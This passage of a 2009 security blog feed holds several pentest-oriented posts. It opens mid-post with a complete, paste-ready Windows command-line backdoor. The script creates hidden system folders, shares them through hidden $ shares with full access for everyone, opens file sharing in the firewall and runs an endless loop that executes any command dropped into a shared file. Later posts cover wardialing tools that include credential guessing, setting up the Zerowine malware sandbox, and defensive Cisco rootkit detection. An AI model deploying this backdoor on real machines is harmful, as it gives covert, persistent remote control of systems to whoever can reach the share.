box. Ok pentest is over right? Wrong! we need to use this box as a pivot point to try to go deeper into the network. So what can we do to keep access to this system without introducing any new software into the system?&lt;br /&gt;&lt;br /&gt;We start with creating a couple of folders. We want to create these folders in a somewhat inconspicuous location. I usually choose C:\windows\system. So the commands to do this are&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mkdir C:\windows\system\input&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mkdir C:\windows\system\output&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Next we want to hide the two folders. We want to make these folders hidden and system folders. That requires them to unhide both hidden files and protected operating system files to see the folders. To do this we use the following commands.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;attrib C:\windows\system\input +H +S&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;attrib&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;C:\windows\system\output +H +S&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now we want to share the two folders&lt;span style="font-weight: bold;"&gt;. &lt;/span&gt;To do this we use the net share command but we want to share these files with a dollar sign at the end to make sure they aren't visible on the network.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;net share input$=c:\windows\system\input&lt;br /&gt;net share output$=c:\windows\system\output&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now the next step is up to you and your rules of engagement .&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;What we want to do is control access to these shares. The easiest way is to give the folders the everyone permission but this might introduce new vulnerabilities into the system. It might be prudent to create a new user on the system and then give that user permission to these folders.&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;It's up to you&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;but for the sake of the example we will use the everyone permission&lt;span style="font-weight: bold;"&gt;. &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;echo Y| cacls c:\windows\system\input /P everyone:F&lt;br /&gt;echo Y| cacls c:\windows\system\output /P everyone:F&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Next we turn on simple file sharing to make windows share these files the way we want it to&lt;span style="font-weight: bold;"&gt;. &lt;/span&gt;We do this with some netsh fu.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;netsh firewall set service type = FILEANDPRINT mode = ENABLE&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;We now want to dump a command in our commands.txt file. This will be what we echo into to run commands through the backdoor. We want to dump a sample command to this file to make sure our loop is successful. The command is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;echo ipconfig /all &gt; c:\windows\system\input\commands.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now we finally set our loop in motion. This loop takes the commands from commands.txt runs them and then dumps the output to output.txt. The loop looks like the following.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;for /L %i in (1,0,2) do (for /f "delims=^" %j in (c:\windows\system\input\commands.txt) do cmd.exe /c %j &gt;&gt; c:\windows\system\output\output.txt &amp;amp; del c:\windows\system\input\commands.txt) &amp;amp; ping -n 2 127.0.0.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I know this looks like someone threw up on your command line. It works though!! What it does is looks for the commands.txt file. It then reads the file runs the command in the file and deletes the file. It then dumps the output to the output.txt file. It does this every two seconds. So what we have is the following script that can be pasted into a shell.&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;'make them&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;mkdir c:\windows\system\input&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mkdir c:\windows\system\output&lt;/span&gt;  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;'hide them&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;attrib c:\windows\system\input +H +S&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;attrib c:\windows\system\output +H&lt;/span&gt;  &lt;span style="font-weight: bold;"&gt;+S&lt;br /&gt;&lt;br /&gt;'share them&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;net share input$=c:\windows\system\input&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;net share output$=c:\windows\system\output&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;'allow everyone into them&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;echo Y| cacls c:\windows\system\input /P everyone:F&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;echo Y| cacls c:\windows\system\output /P everyone:F&lt;/span&gt;  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;'enable simple filesharing&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;netsh firewall set service type = FILEANDPRINT mode = ENABLE&lt;/span&gt;  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;'dump a sample command into commands.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;echo ipconfig /all &gt; c:\windows\system\input\commands.txt&lt;/span&gt;  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;'Use Ed Skodus's for /L loop&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;for /L %i in (1,0,2) do (for /f "delims=^" %j in (c:\windows\system\input\commands.txt) do cmd.exe /c %j &gt;&gt; c:\windows\system\output &amp;amp; del c:\windows\system\input\commands.txt) &amp;amp; ping -n 2 127.0.0.1&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;So you can now copy out the above text and paste it into your shell. If you want to make this a batch file make sure that you change all of the % symbols in the loop to %% then it will work as a batch file.&lt;br /&gt;&lt;br /&gt;To make sure it's working after you start the loop use the following command.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;type \\(ip-address)&lt;ip address=""&gt;\output$\output.txt&lt;/ip&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;You should see the output of &lt;span style="font-weight: bold;"&gt;ipconfig /all&lt;/span&gt; on the screen.&lt;br /&gt;&lt;br /&gt;To run a new command we use the following:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;echo (command) &gt; \\(ip-address)&lt;ip address=""&gt;\input$\commands.txt&lt;br /&gt;&lt;/ip&gt;&lt;/span&gt;&lt;br /&gt;Ok so that's it a quick simple and dirty windows command line backdoor.&lt;br /&gt;&lt;br /&gt;In the next post I will write a script that uses WMI to copy over any payload you want and the run it. You can use runas command and run the script as a user that you have already compromised. You can then turn the above script into a batch file and run it without having to pop a shell on the machine.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-8385414902131393349?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/8385414902131393349/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=8385414902131393349' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/8385414902131393349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/8385414902131393349'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2009/03/attack-script-part-1.html' title='Attack Script Part 1'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-6212227210276324998</id><published>2009-03-07T07:43:00.013-05:00</published><updated>2009-03-09T11:19:25.727-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WarDialing'/><category scheme='http://www.blogger.com/atom/ns#' term='H D Moore'/><category scheme='http://www.blogger.com/atom/ns#' term='Telesweep'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Warvox'/><title type='text'>The Return of Wardialing</title><content type='html'>Wardialing is kind of a lost art in the hacking community. Some of us used THC-SCAN or ToneLoc back in the day to dial out as many prefixes as possible trying to find a low security backdoor into systems. With the inception of VOIP this skillset has come back into play and is  a really valid skill for penetration testers. You would be shocked at how many organizations still use dial in for systems administration. I have seen routers with modems directly connected to console cables and tons of embedded devices with modems still hanging off of them. In this post I will show you how to Wardial with two different tools.&lt;br /&gt;&lt;br /&gt;The first tool was a paid commercial tool but is now a free tool. This tool is SecureLogix TeleSweep. It requires SOUL SUCKING REGISTRATION but it's a good free Windows War dialer. If you don't want to register our second tool is an Open Source tool so just read on.&lt;br /&gt;&lt;br /&gt;First you need to download SecureLogix Telesweep. You can register and download the tool here&lt;br /&gt;&lt;a href="http://www.securelogix.com/modemscanner/tss_agreement1.htm"&gt; &lt;span style="font-weight: bold;"&gt;http://www.securelogix.com/modemscanner/tss_agreement1.htm &lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Once you have downloaded the application you can unzip and install it. This installs just like any other windows application and shouldn't be a problem for anyone familiar with windows. The next step is to execute the dialer configuration tool. Telesweep is a distributed application so it allows you to have several dialers report back to one manager.  Walk through the wizard and setup your modem and enter the license that was sent in the email from securelogix. Make sure your modem is recognized by scanning for it.&lt;br /&gt;&lt;br /&gt;The next step is to open the Telesweep secure management server and license it. Then it will open a profile and show you computers that are attached to the management server. This allows you to connect several machines and then run them all against a prefix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IYfuPD9qO24/SbJ89MC_LCI/AAAAAAAAAHw/D4Oy3qlhmpw/s1600-h/telesweep.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_IYfuPD9qO24/SbJ89MC_LCI/AAAAAAAAAHw/D4Oy3qlhmpw/s320/telesweep.jpg" alt="" id="BLOGGER_PHOTO_ID_5310444301270854690" border="0" /&gt;&lt;/a&gt;Once open you can double click on the sample profile. This will show you some of the power of this tool. You can dial numbers you can also give it a list of usernames and passwords to try against a target once it has detected a carrier. So this tool will dial try to automatically penetrate and then give a report of what it has done.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IYfuPD9qO24/SbKAcILufbI/AAAAAAAAAH4/Lsi0G6XyuuM/s1600-h/profile.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 184px;" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SbKAcILufbI/AAAAAAAAAH4/Lsi0G6XyuuM/s320/profile.jpg" alt="" id="BLOGGER_PHOTO_ID_5310448131344596402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;All in all this is a great tool for stand alone war dialing but in combination with the next tool we are going to discuss it becomes even better for targeted attacking because of it's penetration ability.&lt;br /&gt;&lt;br /&gt;The next tool we are going to talk about is a new one from the venerable H D Moore. Anyone who doesn't know who H D is probably shouldn't be reading this blog. H D is a personal hero of mine and has built the absolute best open source exploitation tool Metasploit. His new tool is called WarVox. WarVox allows you to leverage VOIP providers to execute your wardialing attack and then it records it's results in sound files. It's a new spin on wardialing but&lt;br /&gt;allows you to have great speed.&lt;br /&gt;&lt;br /&gt;So let's install WarVox. You need linux for WarVox I will be doing the install on BackTrack 4 but you can also use Ubuntu. I will be using the svn version if you prefer to use a stable tar file they are available for download.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Open a command line in your Linux Distribution and type in &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;sudo apt-get install build-essential libiaxclient-dev sox lame ruby rake rubygems libsqlite3-ruby gnuplot&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;This will take care of all of the dependancies needed for WarVox&lt;span style="font-weight: bold;"&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Next we want to install mongrel to improve the speed of WarVox&lt;span style="font-weight: bold;"&gt;. &lt;/span&gt;Use the following command to do this&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;gem install mongrel&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Next we want to download warvox&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;so we use&lt;span style="font-weight: bold;"&gt;:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;svn co &lt;/span&gt;&lt;a href="http://metasploit.com/svn/warvox/trunk/"&gt;&lt;span style="font-weight: bold;"&gt;http://metasploit.com/svn/warvox/trunk/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;We probably want to rename the directory to something more descriptive after downloading it. I renamed it to WarVox by using the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;mv trunk WarVox&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Next we enter into the WarVox directory and type &lt;span style="font-weight: bold;"&gt;make&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;If everything makes correctly you will be greated with the following text&lt;span style="font-weight: bold;"&gt;:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_IYfuPD9qO24/SbKJI1mGj1I/AAAAAAAAAII/A6TT5SwlZZo/s1600-h/warvox.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 143px;" src="http://2.bp.blogspot.com/_IYfuPD9qO24/SbKJI1mGj1I/AAAAAAAAAII/A6TT5SwlZZo/s320/warvox.jpg" alt="" id="BLOGGER_PHOTO_ID_5310457695542087506" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Finally we start WarVox with the following:&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;bin/warvox.rb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Then we browse to 127.0.0.1:7777 if everything worked out we will be greeted by a username and password.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span&gt;The default username is admin and the password is warvox&lt;/span&gt;&lt;span&gt;. You can change these by editing the warvox.conf file&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;. &lt;/span&gt;&lt;span&gt;Then we get a nice web interface:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_IYfuPD9qO24/SbKRmPsSo0I/AAAAAAAAAIQ/79nl_V7t6I0/s1600-h/warvox.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 218px;" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SbKRmPsSo0I/AAAAAAAAAIQ/79nl_V7t6I0/s320/warvox.jpg" alt="" id="BLOGGER_PHOTO_ID_5310466996856595266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;After the installation of the program you can set it up with a service provider and begin Wardialing. The beauty of this program is it's speed and ability to fingerprint a line such as a fax, voice etc. If you use these two programs I have shown in combination it will give very good wardialing results in a very short period of time. Use WarVox first then put the results into Telesweep for further drilling down your targets. Both of these tools together can give a very lucrative WarDailing experience. In a world of VOIP wardialing should be a part of every VOIP penetration test.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-6212227210276324998?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/6212227210276324998/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=6212227210276324998' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/6212227210276324998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/6212227210276324998'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2009/03/return-of-wardialing.html' title='The Return of Wardialing'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_IYfuPD9qO24/SbJ89MC_LCI/AAAAAAAAAHw/D4Oy3qlhmpw/s72-c/telesweep.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-1889510076681890307</id><published>2009-01-04T09:23:00.017-05:00</published><updated>2009-03-09T13:41:28.993-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zerowine'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='Qemu'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet Storm Center'/><category scheme='http://www.blogger.com/atom/ns#' term='Vmware'/><title type='text'>Automated Malware Analysis with Zerowine</title><content type='html'>I recently did some work with Zerowine a Web/Debian based automated malware analysis tool. My efforts got me a little writeup on the &lt;a href="http://isc.sans.org/diary.html?storyid=5611"&gt;Internet Storm Center&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;This is a followup post to show all of the steps I took to get this tool going in Vmware and it's default QEmu. This post illustrates a Windows configuration but will still work on Linux for the most part.&lt;br /&gt;&lt;br /&gt;The first step we need to take is to download Zerowine. You can download it &lt;a href="http://sourceforge.net/projects/zerowine/"&gt;here&lt;/a&gt;. This comes as a prebuilt QEmu image.&lt;br /&gt;&lt;br /&gt;The next step is to download Qemu for windows. You can download it &lt;a href="http://www1.interq.or.jp/t-takeda/qemu/qemu-20081229-windows.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Once you have both of these files and have extracted them both you will need to try and run the Virtual Machine. (If you don't want to run this in QEmu at all skip the next paragraph)&lt;br /&gt;&lt;br /&gt;To call a QEmu virtual machine you use a batch file. QEmu is somewhat like Dynamips for those of you who are familiar with this type of Virtual Machine usage. We will need to create a batch file to call the qemu.exe. This batch file will vary from computer to computer. Specifically my batch file has this line to run the Virtual Machine. This should run zerowine with QEmu.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;qemu.exe -L . -m 128 -hda C:\zerowine_vm\hda.img -redir tcp:8000:10.2.0.15:8000&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;I wanted to use VMware so what I did is convert the image file to a .vmdk format and use it with Vmware. Luckily we already have the tool we need to do this. qemu-img.exe can convert .img files to .vmdk. So the command we use to do this is&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;qemu-img.exe convert c:\zerowine_vm\hda.img -O vmdk c:\zerowine_vm\zerowine.vmdk&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;After a few minutes a .vmdk file should appear in the directory you specified. Now it's time to create a new virtual machine and attach the zerowine.vmdk file that we just created.&lt;br /&gt;&lt;br /&gt;To start we open Vmware workstation and choose &lt;strong&gt;File&gt;New&gt;Virtual Machine&lt;/strong&gt;. Then you choose &lt;strong&gt;Next&lt;/strong&gt; then &lt;strong&gt;Custom&lt;/strong&gt; and Next 2 times. Then choose Linux and Other Linux 2.6.x kernel.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://3.bp.blogspot.com/_IYfuPD9qO24/SWE5q_t4A8I/AAAAAAAAAG4/1nIE2tvEnxY/s1600-h/newvm.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5287570848330810306" style="margin: 0px auto 10px; display: block; width: 320px; height: 278px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SWE5q_t4A8I/AAAAAAAAAG4/1nIE2tvEnxY/s320/newvm.jpg" border="0" /&gt;&lt;/a&gt; Then Next through until you reach the networking section. In the Networking section choose NAT networking. Then Next twice and you will get to the Select a Disk section. Choose use existing and point this at our .vmdk file that we created earlier. After this finish the Virtual Machine wizard and boot it up.&lt;/p&gt;&lt;p&gt;&lt;a href="http://1.bp.blogspot.com/_IYfuPD9qO24/SWFRkFkta8I/AAAAAAAAAHI/Me12u-JAC5Y/s1600-h/useexisting.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5287597117922962370" style="margin: 0px auto 10px; display: block; width: 320px; height: 278px; text-align: center;" alt="" src="http://1.bp.blogspot.com/_IYfuPD9qO24/SWFRkFkta8I/AAAAAAAAAHI/Me12u-JAC5Y/s320/useexisting.jpg" border="0" /&gt;&lt;/a&gt; Ok so now we have a booting image of zerowine. We have a few steps left. The first step is to change the keyboard map then we need to change a file to get eth0 to come up correctly. To do this &lt;strong&gt;login as root with a password of zerowine&lt;/strong&gt;. Then type&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;dpkg-reconfigure console-data&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;walk through this wizard and change your keyboard map to pc us standard then use the following command&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;vi /etc/udev/rules.d/z25_persistent-net.rules&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt; &lt;/strong&gt;Then delete all lines in this file. This will allow you to reclaim your eth0 otherwise if you opened this file in qemu previously it might not register your eth0 in ifconfig.&lt;br /&gt;&lt;br /&gt;Then in the VMware window choose &lt;span style="font-weight: bold;"&gt;Edit&gt;Virtual Network Settings&lt;/span&gt;. Then choose the NAT tab. Then choose the &lt;strong&gt;edit button&lt;/strong&gt;. Then the &lt;strong&gt;Port Forwarding&lt;/strong&gt; button and finally the &lt;strong&gt;add&lt;/strong&gt; button. Enter the host port of 8000 and the ip address of the virtual machine and then port 8000. If you don't know the ip of the host enter the command &lt;strong&gt;ifconfig eth0&lt;/strong&gt;. This will give you the IP address of the virtual machine.&lt;/p&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_IYfuPD9qO24/SWFTNR3lnlI/AAAAAAAAAHQ/L1-SSScA9hY/s1600-h/port-forwarding.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5287598925109632594" style="margin: 0px auto 10px; display: block; width: 320px; height: 294px; text-align: center;" alt="" src="http://2.bp.blogspot.com/_IYfuPD9qO24/SWFTNR3lnlI/AAAAAAAAAHQ/L1-SSScA9hY/s320/port-forwarding.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;Finally enter &lt;strong&gt;127.0.0.1:8000&lt;/strong&gt; in a browser and you will get the zerowine web interface. It should look like the following.&lt;/p&gt;&lt;p&gt;&lt;a href="http://3.bp.blogspot.com/_IYfuPD9qO24/SWFQcHtXpNI/AAAAAAAAAHA/xGC8g3EUKP0/s1600-h/zerowineweb.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5287595881545573586" style="margin: 0px auto 10px; display: block; width: 320px; height: 145px; text-align: center;" alt="" src="http://3.bp.blogspot.com/_IYfuPD9qO24/SWFQcHtXpNI/AAAAAAAAAHA/xGC8g3EUKP0/s320/zerowineweb.jpg" border="0" /&gt;&lt;/a&gt; Thats it then, we have a cool incident response and malware analysis tool working in VMware. The reports aren't bad and it does unpacking as well. I hope newer versions expand on the functionality of this tool.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-1889510076681890307?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/1889510076681890307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=1889510076681890307' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/1889510076681890307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/1889510076681890307'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2009/01/automated-malware-analysis-with.html' title='Automated Malware Analysis with Zerowine'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IYfuPD9qO24/SWE5q_t4A8I/AAAAAAAAAG4/1nIE2tvEnxY/s72-c/newvm.jpg' height='72' width='72'/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-2776952348620398124</id><published>2008-12-16T18:17:00.019-05:00</published><updated>2009-01-02T06:55:53.230-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Verification of IOS'/><category scheme='http://www.blogger.com/atom/ns#' term='IOS Resiliancy'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='Archive Command'/><title type='text'>Cisco Router Rootkits</title><content type='html'>Core Security's Sebastian Muniz demonstrated that a rootkit could be installed on Cisco routers earlier this year. Since this point I have been thinking of possible mitigation techniques for this type of problem. Like any type of rootkit mitigation is only possible after detection. So how do we detect a rootkit on a Cisco Router? I am going to outline some different techniques to help identify and verify an IOS image.&lt;br /&gt;&lt;br /&gt;The first technique is a very basic one logging. So logging how do we do that? In a local network where you aren't worried about encryption then using syslog is a viable solution. We do this by using the following commands.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config)# logging on&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config)# logging host x.x.x.x&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With logging on now we know what is happening to the router. We can now see if it is being attacked and if someone logs in and also most importantly track configuration changes. Speaking of tracking configuration changes how do we do that? Another couple of commands can do that for us.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config)#archive&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config-archive)# log config&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config-archive-log-config)# logging  enable&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config-archive-log-config)# logging size 200&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config-archive-log-config)# hidekeys&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config-archive-log-config)# notify syslog&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With this configuration in place we can see any configuration changes logged right to syslog.This can help us to see if an attacker makes a change to the system&lt;br /&gt;&lt;br /&gt;The verify command allows us to verify files on the router and to make sure that the MD5 hash matches what Cisco provides.&lt;br /&gt;&lt;br /&gt;I would recommend that if you really think you have a rootkit on your router that you transfer the IOS image off of the router and verify it externally using a md5 hash verifier.&lt;br /&gt;&lt;br /&gt;The verify command allows you to verify the hash of a file contained on the router. It works like the following.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config)#verify /md5 filename&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you see that the hash doesn't match then you should change the image for one that has a correct md5 sum.&lt;br /&gt;&lt;br /&gt;Last but not least is the secure command or the Cisco IOS Resilient Configuration&lt;br /&gt;&lt;br /&gt;This little known command allows you to store an image of the IOS and the configuration on the router in an area not accessible to any user.&lt;br /&gt;&lt;br /&gt;To configure this you must make sure that you have at least an IOS greater than 12.3(8)T. Then use the following commands:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config)#secure boot-config&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router(config)#secure boot-image&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This set of commands allows you to store a known good config and IOS in the router which can be restored in ROMMON mode. To verify that  worked you can use the following command&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;Router#show secure bootset&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In short the commands and techniques that I have outlined can help you verify that your IOS image is a known 